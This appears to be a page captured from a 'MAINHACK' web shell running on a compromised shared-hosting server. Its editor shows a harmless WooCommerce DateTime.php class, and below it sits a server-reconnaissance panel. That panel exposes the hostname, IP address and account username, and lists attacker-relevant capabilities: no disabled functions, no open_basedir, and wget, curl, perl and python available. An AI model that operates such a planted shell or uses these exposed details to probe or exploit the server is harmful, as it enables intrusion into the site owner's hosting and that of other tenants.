[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DateTime.php
<?php declare(strict_types=1); namespace Automattic\WooCommerce\Api\Scalars; use Automattic\WooCommerce\Api\Attributes\Description; /** * Custom scalar for ISO 8601 date/time values. */ #[Description( 'An ISO 8601 encoded date and time string.' )] class DateTime { /** * Serialize a PHP value to the scalar's transport format. * * @param mixed $value The value to serialize. * @return string */ public static function serialize( mixed $value ): string { if ( $value instanceof \DateTimeInterface ) { return $value->format( \DateTimeInterface::ATOM ); } return (string) $value; } /** * Parse a value received from a client (variable or literal). * * @param string $value The raw string value from the client. * @return \DateTimeImmutable * @throws \InvalidArgumentException When the value cannot be parsed as an ISO 8601 date/time string. */ public static function parse( string $value ): \DateTimeImmutable { try { return new \DateTimeImmutable( $value ); } catch ( \Exception $e ) { // PHP 8.3+ throws \DateMalformedStringException; earlier versions // throw a plain \Exception. Both extend \Exception, so a single // catch captures them. // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Not HTML output; serialized as JSON in the GraphQL error response. throw new \InvalidArgumentException( sprintf( 'Invalid ISO 8601 date/time: %s', $e->getMessage() ), 0, $e ); // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.28 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: 2056